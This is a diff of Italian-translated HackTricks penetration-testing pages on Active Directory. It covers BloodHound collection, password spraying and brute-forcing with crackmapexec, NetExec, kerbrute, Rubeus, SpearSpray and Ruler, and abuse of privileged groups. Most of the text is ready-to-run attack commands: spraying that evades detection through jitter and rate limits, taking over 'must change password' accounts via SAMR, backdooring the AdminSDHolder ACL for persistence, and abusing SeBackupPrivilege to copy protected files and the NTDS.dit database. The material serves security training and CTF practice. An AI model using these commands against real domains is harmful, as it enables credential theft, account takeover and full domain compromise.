Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||||
```
|
```
|
||||||
|
## Riferimenti
|
||||||
|
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
|
||||||
|
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -5,16 +5,16 @@
|
|||||||
|
|
||||||
## **Password Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
Una volta che hai trovato diversi **valid usernames**, puoi provare le **common passwords** più diffuse (tieni presente la password policy dell'ambiente) con ciascuno degli utenti scoperti.
|
Una volta che hai trovato diversi **valid usernames** puoi provare le **common passwords** (tieni in considerazione la password policy dell'ambiente) con ciascuno degli utenti scoperti.\
|
||||||
Per impostazione predefinita la lunghezza minima della **password** è **7**.
|
Per **default** la **minimum** **password** **length** è **7**.
|
||||||
|
|
||||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
Liste di common usernames potrebbero anche essere utili: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
Nota che potresti bloccare alcuni account se provi diverse **wrong passwords** (di default più di 10).
|
Nota che **could lockout some accounts if you try several wrong passwords** (by default more than 10).
|
||||||
|
|
||||||
### Ottieni la password policy
|
### Ottenere la password policy
|
||||||
|
|
||||||
Se hai delle credenziali utente o una shell come domain user puoi **ottenere la password policy con**:
|
Se hai alcune user credentials o una shell come domain user puoi **get the password policy with**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -31,7 +31,7 @@ net accounts
|
|||||||
|
|
||||||
(Get-DomainPolicy)."SystemAccess" #From powerview
|
(Get-DomainPolicy)."SystemAccess" #From powerview
|
||||||
```
|
```
|
||||||
### Exploitation da Linux (o tutti)
|
### Sfruttamento da Linux (o da qualsiasi sistema)
|
||||||
|
|
||||||
- Usando **crackmapexec:**
|
- Usando **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
@ -40,6 +40,21 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
|
|||||||
## --local-auth flag indicate to only try 1 time per machine
|
## --local-auth flag indicate to only try 1 time per machine
|
||||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||||
```
|
```
|
||||||
|
- Uso di **NetExec (CME successor)** per uno spraying mirato e a basso rumore attraverso SMB/WinRM:
|
||||||
|
```bash
|
||||||
|
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||||
|
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||||
|
|
||||||
|
# Spray a single candidate password against harvested users over SMB
|
||||||
|
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||||
|
--continue-on-success --no-bruteforce --shares
|
||||||
|
|
||||||
|
# Validate a hit over WinRM (or use SMB exec methods)
|
||||||
|
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||||
|
|
||||||
|
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||||
|
sudo ntpdate <DC_FQDN>
|
||||||
|
```
|
||||||
- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
|
||||||
```bash
|
```bash
|
||||||
# Password Spraying
|
# Password Spraying
|
||||||
@ -47,11 +62,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
# Brute-Force
|
# Brute-Force
|
||||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||||
```
|
```
|
||||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare blocchi):**_
|
- [**spray**](https://github.com/Greenwolf/Spray) _**(puoi indicare il numero di tentativi per evitare i blocchi):**_
|
||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- Usare [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA
|
- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
@ -69,7 +84,7 @@ done
|
|||||||
```
|
```
|
||||||
#### Da Windows
|
#### Da Windows
|
||||||
|
|
||||||
- Con la versione di [Rubeus](https://github.com/Zer1t0/Rubeus) con il modulo brute:
|
- Con [Rubeus](https://github.com/Zer1t0/Rubeus) in una versione con il brute module:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,7 +92,7 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e ottiene i criteri delle password dal dominio, limitando i tentativi in base a essi):
|
- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi in base ad essa):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
@ -85,12 +100,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
|||||||
```
|
```
|
||||||
Invoke-SprayEmptyPassword
|
Invoke-SprayEmptyPassword
|
||||||
```
|
```
|
||||||
### Identificare e Prendere il Controllo degli Account "Password must change at next logon" (SAMR)
|
### Identificare e prendere il controllo degli account "Password must change at next logon" (SAMR)
|
||||||
|
|
||||||
Una tecnica a basso impatto è sprayare una benign/empty password e intercettare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, il che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente.
|
Una tecnica a basso rumore è effettuare un password spray usando una password innocua/vuota e individuare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente.
|
||||||
|
|
||||||
Workflow:
|
Workflow:
|
||||||
- Enumerare gli utenti (RID brute via SAMR) per costruire la lista di target:
|
- Enumerare gli utenti (RID brute via SAMR) per costruire la lista degli obiettivi:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||||
@ -99,12 +114,12 @@ Workflow:
|
|||||||
# NetExec (null/guest) + RID brute to harvest users
|
# NetExec (null/guest) + RID brute to harvest users
|
||||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||||
```
|
```
|
||||||
- Esegui password spraying con una password vuota e continua sui risultati per catturare gli account che devono cambiare la password al prossimo accesso:
|
- Spray una password vuota e continua sui hits per acquisire account che devono cambiare al prossimo logon:
|
||||||
```bash
|
```bash
|
||||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||||
```
|
```
|
||||||
- Per ogni hit, cambia la password via SAMR usando il modulo di NetExec (non è necessaria la password vecchia quando "must change" è impostato):
|
- Per ogni hit, cambia la password tramite SAMR con il modulo di NetExec (non è necessaria la vecchia password quando "must change" è impostato):
|
||||||
```bash
|
```bash
|
||||||
# Strong complexity to satisfy policy
|
# Strong complexity to satisfy policy
|
||||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||||
@ -114,26 +129,26 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
|||||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||||
```
|
```
|
||||||
Note operative:
|
Note operative:
|
||||||
- Assicurati che l'orologio della tua macchina sia sincronizzato con il DC prima delle operazioni basate su Kerberos: `sudo ntpdate <dc_fqdn>`.
|
- Assicurati che l'orologio dell'host sia sincronizzato con il DC prima delle operazioni basate su Kerberos: `sudo ntpdate <dc_fqdn>`.
|
||||||
- Un [+] senza (Pwn3d!) in alcuni moduli (ad es., RDP/WinRM) significa che le creds sono valide ma l'account non ha i diritti di accesso interattivo.
|
- Un [+] senza (Pwn3d!) in alcuni moduli (es., RDP/WinRM) significa che le creds sono valide ma l'account non ha diritti di accesso interattivo.
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
```bash
|
```bash
|
||||||
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
|
||||||
```
|
```
|
||||||
### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole di PSO (SpearSpray)
|
### Kerberos pre-auth spraying con targeting LDAP e throttling consapevole delle PSO (SpearSpray)
|
||||||
|
|
||||||
Lo spraying basato su Kerberos pre-auth riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio con le policy di lockout di AD. SpearSpray combina il targeting guidato da LDAP, un motore di pattern e la consapevolezza delle policy (domain policy + PSOs + badPwdCount buffer) per eseguire lo spray in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound.
|
Kerberos pre-auth–based spraying riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio con le policy di lockout di AD. SpearSpray associa targeting guidato da LDAP, un motore di pattern e consapevolezza delle policy (domain policy + PSOs + buffer badPwdCount) per effettuare lo spraying in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound.
|
||||||
|
|
||||||
Concetti chiave:
|
Concetti chiave:
|
||||||
- Discovery utenti LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
|
- Scoperta utenti via LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
|
||||||
- Domain lockout policy + PSO-aware filtering per lasciare un buffer configurabile di tentativi (soglia) e evitare di bloccare gli utenti.
|
- Filtraggio PSO-aware + domain lockout policy per lasciare un buffer configurabile di tentativi (threshold) e evitare il blocco degli utenti.
|
||||||
- Validazione Kerberos pre-auth usando binding gssapi veloci (genera 4768/4771 sui DC invece di 4625).
|
- Validazione Kerberos pre-auth usando binding gssapi veloci (genera 4768/4771 sui DC invece di 4625).
|
||||||
- Generazione password basata su pattern, per utente, usando variabili come nomi e valori temporali derivati dal pwdLastSet di ciascun utente.
|
- Generazione password per-utente basata su pattern usando variabili come nomi e valori temporali derivati da pwdLastSet di ciascun utente.
|
||||||
- Controllo del throughput con threads, jitter e massimo di richieste al secondo.
|
- Controllo del throughput con threads, jitter e limite massimo di richieste al secondo.
|
||||||
- Integrazione opzionale con Neo4j per marcare gli utenti compromessi per BloodHound.
|
- Integrazione opzionale con Neo4j per marcare gli utenti owned per BloodHound.
|
||||||
|
|
||||||
Uso e discovery di base:
|
Uso base e scoperta:
|
||||||
```bash
|
```bash
|
||||||
# List available pattern variables
|
# List available pattern variables
|
||||||
spearspray -l
|
spearspray -l
|
||||||
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# LDAPS (TCP/636)
|
# LDAPS (TCP/636)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||||
```
|
```
|
||||||
Selezione degli obiettivi e controllo dei pattern:
|
Targeting e controllo dei pattern:
|
||||||
```bash
|
```bash
|
||||||
# Custom LDAP filter (e.g., target specific OU/attributes)
|
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||||
@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||||
```
|
```
|
||||||
Controlli di stealth e sicurezza:
|
Stealth e controlli di sicurezza:
|
||||||
```bash
|
```bash
|
||||||
# Control concurrency, add jitter, and cap request rate
|
# Control concurrency, add jitter, and cap request rate
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||||
@ -161,7 +176,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# Leave N attempts in reserve before lockout (default threshold: 2)
|
# Leave N attempts in reserve before lockout (default threshold: 2)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
|
||||||
```
|
```
|
||||||
Neo4j/BloodHound arricchimento:
|
Arricchimento Neo4j/BloodHound:
|
||||||
```bash
|
```bash
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
|
||||||
```
|
```
|
||||||
@ -176,27 +191,27 @@ Panoramica del sistema di pattern (patterns.txt):
|
|||||||
```
|
```
|
||||||
Available variables include:
|
Available variables include:
|
||||||
- {name}, {samaccountname}
|
- {name}, {samaccountname}
|
||||||
- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
- Temporali da pwdLastSet (o whenCreated) di ciascun utente: {year}, {short_year}, {month_number}, {month_en}, {season_en}
|
||||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
- Helper di composizione e token dell'organizzazione: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
Operational notes:
|
Operational notes:
|
||||||
- Privilegiare le query al PDC-emulator con -dc per leggere il badPwdCount più autorevole e le informazioni relative alle policy.
|
- Privilegiare le interrogazioni al PDC-emulator con -dc per leggere il badPwdCount più autorevole e le informazioni relative alle policy.
|
||||||
- I reset di badPwdCount vengono attivati al tentativo successivo dopo la finestra di osservazione; usa soglia e temporizzazione per rimanere al sicuro.
|
- I reset di badPwdCount vengono attivati al tentativo successivo dopo la finestra di osservazione; usa soglie e tempistiche per restare sicuro.
|
||||||
- I tentativi di pre-auth Kerberos si manifestano come 4768/4771 nella telemetry del DC; usa jitter e rate-limiting per mimetizzarti.
|
- I tentativi di pre-auth Kerberos compaiono come 4768/4771 nella telemetry del DC; usa jitter e rate-limiting per mimetizzarti.
|
||||||
|
|
||||||
> Suggerimento: la dimensione predefinita della pagina LDAP di SpearSpray è 200; regola con -lps se necessario.
|
> Suggerimento: la dimensione pagina LDAP predefinita di SpearSpray è 200; regola con -lps se necessario.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
Esistono diversi strumenti per p**assword spraying outlook**.
|
Sono disponibili diversi strumenti per p**assword spraying outlook**.
|
||||||
|
|
||||||
- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
|
||||||
- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
|
||||||
- With [Ruler](https://github.com/sensepost/ruler) (affidabile!)
|
- Con [Ruler](https://github.com/sensepost/ruler) (affidabile!)
|
||||||
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
|
||||||
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
|
||||||
|
|
||||||
Per usare uno di questi strumenti, ti serve una lista di utenti e una password — o una piccola lista di password — da usare per il password spraying.
|
Per usare uno di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di passwords da usare per il password spraying.
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -227,6 +242,7 @@ Per usare uno di questi strumenti, ti serve una lista di utenti e una password
|
|||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -1,30 +1,30 @@
|
|||||||
# Gruppi Privilegiati
|
# Gruppi privilegiati
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Gruppi Noti con privilegi di amministrazione
|
## Gruppi ben noti con privilegi di amministrazione
|
||||||
|
|
||||||
- **Amministratori**
|
- **Administrators**
|
||||||
- **Amministratori di Dominio**
|
- **Domain Admins**
|
||||||
- **Amministratori di Impresa**
|
- **Enterprise Admins**
|
||||||
|
|
||||||
## Operatori di Account
|
## Account Operators
|
||||||
|
|
||||||
Questo gruppo ha il potere di creare account e gruppi che non sono amministratori nel dominio. Inoltre, consente il login locale al Domain Controller (DC).
|
Questo gruppo può creare account e gruppi che non siano amministratori nel dominio. Inoltre, consente l'accesso locale al Domain Controller (DC).
|
||||||
|
|
||||||
Per identificare i membri di questo gruppo, viene eseguito il seguente comando:
|
Per identificare i membri di questo gruppo, viene eseguito il seguente comando:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||||
```
|
```
|
||||||
Aggiungere nuovi utenti è consentito, così come il login locale a DC01.
|
È consentito aggiungere nuovi utenti, così come l'accesso locale al DC.
|
||||||
|
|
||||||
## Gruppo AdminSDHolder
|
## Gruppo AdminSDHolder
|
||||||
|
|
||||||
La Access Control List (ACL) del gruppo **AdminSDHolder** è cruciale in quanto imposta i permessi per tutti i "gruppi protetti" all'interno di Active Directory, inclusi i gruppi ad alta privilegio. Questo meccanismo garantisce la sicurezza di questi gruppi impedendo modifiche non autorizzate.
|
L'Access Control List (ACL) del gruppo **AdminSDHolder** è cruciale in quanto definisce i permessi per tutti i "gruppi protetti" all'interno di Active Directory, compresi i gruppi ad alto privilegio. Questo meccanismo garantisce la sicurezza di questi gruppi impedendo modifiche non autorizzate.
|
||||||
|
|
||||||
Un attaccante potrebbe sfruttare questo modificando l'ACL del gruppo **AdminSDHolder**, concedendo permessi completi a un utente standard. Questo darebbe effettivamente a quell'utente il pieno controllo su tutti i gruppi protetti. Se i permessi di questo utente vengono modificati o rimossi, verrebbero automaticamente ripristinati entro un'ora a causa del design del sistema.
|
Un attaccante potrebbe sfruttare questo modificando l'ACL del gruppo **AdminSDHolder**, concedendo permessi completi a un utente standard. Ciò darebbe effettivamente a quell'utente il controllo totale su tutti i gruppi protetti. Se i permessi di questo utente venissero modificati o rimossi, verrebbero automaticamente ripristinati entro un'ora a causa del funzionamento del sistema.
|
||||||
|
|
||||||
I comandi per rivedere i membri e modificare i permessi includono:
|
I comandi per esaminare i membri e modificare i permessi includono:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||||
@ -32,39 +32,39 @@ Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityRefer
|
|||||||
```
|
```
|
||||||
Uno script è disponibile per accelerare il processo di ripristino: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
Uno script è disponibile per accelerare il processo di ripristino: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||||
|
|
||||||
Per ulteriori dettagli, visita [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
Per maggiori dettagli, visita [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
|
||||||
|
|
||||||
## AD Recycle Bin
|
## Cestino di Active Directory
|
||||||
|
|
||||||
L'appartenenza a questo gruppo consente la lettura degli oggetti di Active Directory eliminati, il che può rivelare informazioni sensibili:
|
L'appartenenza a questo gruppo permette la lettura degli oggetti eliminati di Active Directory, che possono rivelare informazioni sensibili:
|
||||||
```bash
|
```bash
|
||||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||||
```
|
```
|
||||||
### Accesso al Domain Controller
|
### Accesso al Domain Controller
|
||||||
|
|
||||||
L'accesso ai file sul DC è limitato a meno che l'utente non faccia parte del gruppo `Server Operators`, il che cambia il livello di accesso.
|
L'accesso ai file sul DC è limitato a meno che l'utente non faccia parte del gruppo `Server Operators`, che modifica il livello di accesso.
|
||||||
|
|
||||||
### Escalation dei Privilegi
|
### Escalation dei privilegi
|
||||||
|
|
||||||
Utilizzando `PsService` o `sc` da Sysinternals, è possibile ispezionare e modificare i permessi dei servizi. Il gruppo `Server Operators`, ad esempio, ha il pieno controllo su determinati servizi, consentendo l'esecuzione di comandi arbitrari e l'escalation dei privilegi:
|
Usando `PsService` o `sc` di Sysinternals, è possibile ispezionare e modificare le autorizzazioni dei servizi. Il gruppo `Server Operators`, per esempio, ha il controllo completo su certi servizi, permettendo l'esecuzione di comandi arbitrari e l'escalation dei privilegi:
|
||||||
```cmd
|
```cmd
|
||||||
C:\> .\PsService.exe security AppReadiness
|
C:\> .\PsService.exe security AppReadiness
|
||||||
```
|
```
|
||||||
Questo comando rivela che i `Server Operators` hanno accesso completo, consentendo la manipolazione dei servizi per privilegi elevati.
|
Questo comando rivela che `Server Operators` hanno accesso completo, consentendo la manipolazione dei servizi per ottenere elevated privileges.
|
||||||
|
|
||||||
## Backup Operators
|
## Backup Operators
|
||||||
|
|
||||||
L'appartenenza al gruppo `Backup Operators` fornisce accesso al file system di `DC01` grazie ai privilegi `SeBackup` e `SeRestore`. Questi privilegi abilitano la traversata delle cartelle, l'elenco e la copia dei file, anche senza permessi espliciti, utilizzando il flag `FILE_FLAG_BACKUP_SEMANTICS`. È necessario utilizzare script specifici per questo processo.
|
L'appartenenza al gruppo `Backup Operators` fornisce accesso al file system di `DC01` grazie ai privilegi `SeBackup` e `SeRestore`. Questi privilegi permettono l'attraversamento delle cartelle, l'elenco e la copia dei file, anche senza permessi espliciti, utilizzando il flag `FILE_FLAG_BACKUP_SEMANTICS`. È necessario utilizzare script specifici per questo processo.
|
||||||
|
|
||||||
Per elencare i membri del gruppo, eseguire:
|
Per elencare i membri del gruppo, eseguire:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||||
```
|
```
|
||||||
### Attacco Locale
|
### Attacco locale
|
||||||
|
|
||||||
Per sfruttare questi privilegi localmente, vengono impiegati i seguenti passaggi:
|
Per sfruttare localmente questi privilegi, vengono impiegati i seguenti passaggi:
|
||||||
|
|
||||||
1. Importa le librerie necessarie:
|
1. Importare le librerie necessarie:
|
||||||
```bash
|
```bash
|
||||||
Import-Module .\SeBackupPrivilegeUtils.dll
|
Import-Module .\SeBackupPrivilegeUtils.dll
|
||||||
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||||
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
|
|||||||
Set-SeBackupPrivilege
|
Set-SeBackupPrivilege
|
||||||
Get-SeBackupPrivilege
|
Get-SeBackupPrivilege
|
||||||
```
|
```
|
||||||
3. Accedere e copiare file da directory riservate, ad esempio:
|
3. Accedere e copiare file da directory protette, ad esempio:
|
||||||
```bash
|
```bash
|
||||||
dir C:\Users\Administrator\
|
dir C:\Users\Administrator\
|
||||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||||
```
|
```
|
||||||
### Attacco AD
|
### AD Attack
|
||||||
|
|
||||||
L'accesso diretto al file system del Domain Controller consente il furto del database `NTDS.dit`, che contiene tutti gli hash NTLM per gli utenti e i computer del dominio.
|
